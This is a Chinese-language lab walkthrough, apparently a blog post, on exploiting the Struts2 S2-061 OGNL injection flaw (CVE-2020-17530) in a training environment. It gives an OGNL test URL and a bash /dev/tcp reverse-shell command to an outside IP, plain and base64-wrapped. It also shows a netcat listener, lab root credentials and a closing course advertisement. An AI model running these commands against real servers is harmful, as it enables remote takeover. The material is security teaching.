【渗透测试】分享Web应用框架(Struts2)漏洞利用
【实验目的】
通过分析Struts2漏洞的原理,构造Struts2漏洞的POC,利用Struts2漏洞对目标网站进行系统命令执行,并使用nc工具进行反弹shell,了解掌握Struts2漏洞的原理并构造POC对此漏洞利用进行进一步的渗透。
【知识点】
Struts2漏洞
【实验原理】
Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。
Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过。
Struts在定义action类时,拥有特定的名称。其中.do是struts 1默认的后缀,.action是struts 2默认的后缀。
Struts2 会对某些标签属性(比如id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}且x的值用户可控时,用户再传入一个%{payload}即可造成OGNL表达式执行。
通过参数构造来解析Ognl表达式,例如%{‘gcowsec-’+(2000+20).toString}预计会被解析为gcowsec-2020。
【软件工具】
- 服务器:Centos7 1台;防火墙 1台;Kali Linux 1台;Windows 10 1台;Windows 2016 1台;
- 交换机/路由:交换机 2台;路由器 1台;
- 软件:火狐浏览器,BurpSuite,Netcat
【实验拓扑】

注:为展现拓扑完整性,拓扑中为实验的拓扑启动的是子任务实验(中灰色部分表示为未启动状态,蓝色部分表示为启动状态)。
【实验思路】
- 分析Struts2漏洞
- 构造Struts2漏洞POC
- Struts2漏洞利用使用Netcat监听反弹
【实验预期】
1.分析Struts2漏洞
2.构造Struts2漏洞POC
3.Struts2漏洞利用使用Netcat监听反弹
【实验步骤】
1.分析Struts2漏洞
(1)登录攻击机2-Windows
登录实验拓扑图左下方的【攻击机2-Windows】,打开虚拟机桌面中的火狐浏览器,输入URL地址:www.zd2.zhidaf.com:8080并按回车键,访问目标网站,如下图所示。

在火狐浏览器中,通过F12功能键查看网站源代码,发现源码链接中包含.action后缀,并且包含“Struts 2.0.1”字样的注释说明,因此可以判断当前站点使用Struts2框架进行搭建,并且id值为空,如下图所示。

(2)Strunts2漏洞验证
在浏览器的地址栏中,输入www.zd2.zhidaf.com:8080/?id=%25%7b+%27ceshi-%27+%2b+(100+%2b+50).toString()%7d并按回车键,发现所构造的ognl表达式被成功解析,id值变为“ceshi-150”,所执行Ognl表达式为%{'ceshi-'+(100+50).toString()},如下图所示。
www.zd2.zhidaf.com:8080/?id=%25%7b+%27ceshi-%27+%2b+(100+%2b+50).toString()%7d


2.构造Struts2漏洞POC
(1)浏览器代理服务配置
单击火狐浏览器右上角【三】图标,弹出菜单栏,单击选择【选项】,如下图所示。

依次单击【常规】→网络设置的【设置】按钮,进入火狐浏览器代理窗口,如下图所示。

单击【手动配置代理】单选按钮,【HTTP代理】那一栏设置为127.0.0.1,【端口】为8080,并单击【确定】按钮,完成浏览器代理服务配置,如下图所示。

(2)BurpSuite抓包
双击桌面上的【BurpSuiteCommunity.exe】图标,打开BurpSuite工具,弹出窗口依次单击【Leave】→【Next】→【Start Burp】,如下图所示。



弹出BurpSuite工具窗口后,单击【Proxy】选项卡,并单击【Options】选项卡,查看BurpSuite工具代理配置是否与火狐浏览器代理服务配置一致,如下图所示。

单击【Intercept】选项卡,并单击【Intercept is off】按钮,直至【Interccept is off】按钮变【Interccept is on】按钮,如下图所示。


在浏览器的地址栏中,输入www.zd2.zhidaf.com:8080并按回车键,Burp Suite工具拦截到数据,右键空白处,弹出菜单后选择【Send to Reoeater】,如下图所示。

将数据包发送至Repeater模块后,右键单击选择【Change request method】选项,更改数据包请求方式,如下图所示。

更改数据包请求方式后,请求方式为POST,如下图所示。

删除第10~11行代码,如下图所示。

双击桌面上的工具文件夹,找到payload.txt文件,如下图所示。

打开payload.txt文件,复制里面的payload的内容至BurpSuite的请求数据中,如下图所示。

单击左侧【Send】按钮,构造Payload,获取目标网站服务器的用户id,当前目标服务器用户为root,则表示可成功执行系统命令,如下图所示。

单击BurpSuite的【Decoder】选项卡,对所需Bash语句进行base64编码,左侧大空白区填写bash语句,输入以下bash语句,bash语句表示为使用TCP协议连接67.220.91.30的5555端口,如下图所示。
bash –i >& /dev/tcp/ 67.220.91.30/5555 0>&1
单击【Encode as …】拉下菜单,选择【Base64】,将其bash语句编码为base64,如下图所示。

下方则显示bash语句编码后的base64,如下图所示。

复制base64编码,单击【Repeater】选项卡,输入以下命令,替换payload的【id】字符串,如下图所示。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82Ny4yMjAuOTEuMzAvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}

注:在构造的新数据包中其中add()函数内需要指定base64编码后的bash语句,bash –c指令会从第一个非选项参数后面的字符串中读取命令,如果字符串有多个空格,第一个空格前面的字符串是要执行的命令。通过管道符“|”进行命令拼接,再次将编码后的Bash语句进行base64解码,然后在系统中执行。
3.Struts2漏洞利用使用Netcat监听反弹
(1)登录攻击机1-kali Linux
选择拓扑图中左上方的【攻击机1-kali Linux】,按右键,在弹出的菜单中选择【控制台】,输入账号密码root/com.1234,登录【攻击机1-kali Linux】界面,如下图所示。

(2)开启Netcat监听
登录实验拓扑图左上方的【攻击机1-kali Linux】,用户名/密码:root/com.1234。右键单击虚拟机桌面空白处,选择【Open Terminal Here】选项,在【攻击机1-kali Linux】中打开终端窗口,如下图所示。

在终端窗口中输入以下命令,使用netcat开启本地监听,本地监听端口为5555,如下图所示。
nc -lvvp 5555

注:以下为-lvvp命令的详解:
- -l 监听模式
- -vv 比-v更详细的输出
- -p 设置本地端口
- -e 绑定命令行
返回至【攻击机2-Windows】虚拟机中,在Burpsuite抓包工具的Repeater模块中,单击【Send】按钮,右侧响应报文回显结果为空,如下图所示。

(3)shell反弹
当包含bash语句的恶意请求数据包被发送,此时bash指令被写入和执行,【攻击机1-kali Linux】中所创建的nc监听即可被响应,可以发现响应结果中包含目标服务器的终端标识符,如下图所示。

执行ip add命令,可以发现当前目标服务器的IP地址为172.18.0.2/16,如下图所示。

执行ls命令可以发现,存在Dockerfile文件,并且终端提示符中看似是一个docker容器名称,由此基本可以断定当前网站服务是部署在目标服务器的Docker容器中,如下图所示。

【实验结论】
通过上述实验操作,分析Struts2漏洞的原理,构造Struts2漏洞的POC,利用Struts2漏洞对目标网站进行系统命令执行,并使用nc工具进行反弹shell,了解掌握Struts2漏洞的原理并构造POC对此漏洞利用进行进一步的渗透,满足实验预期要求。
题外话
黑客&网络安全如何学习
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。


824

被折叠的 条评论
为什么被折叠?



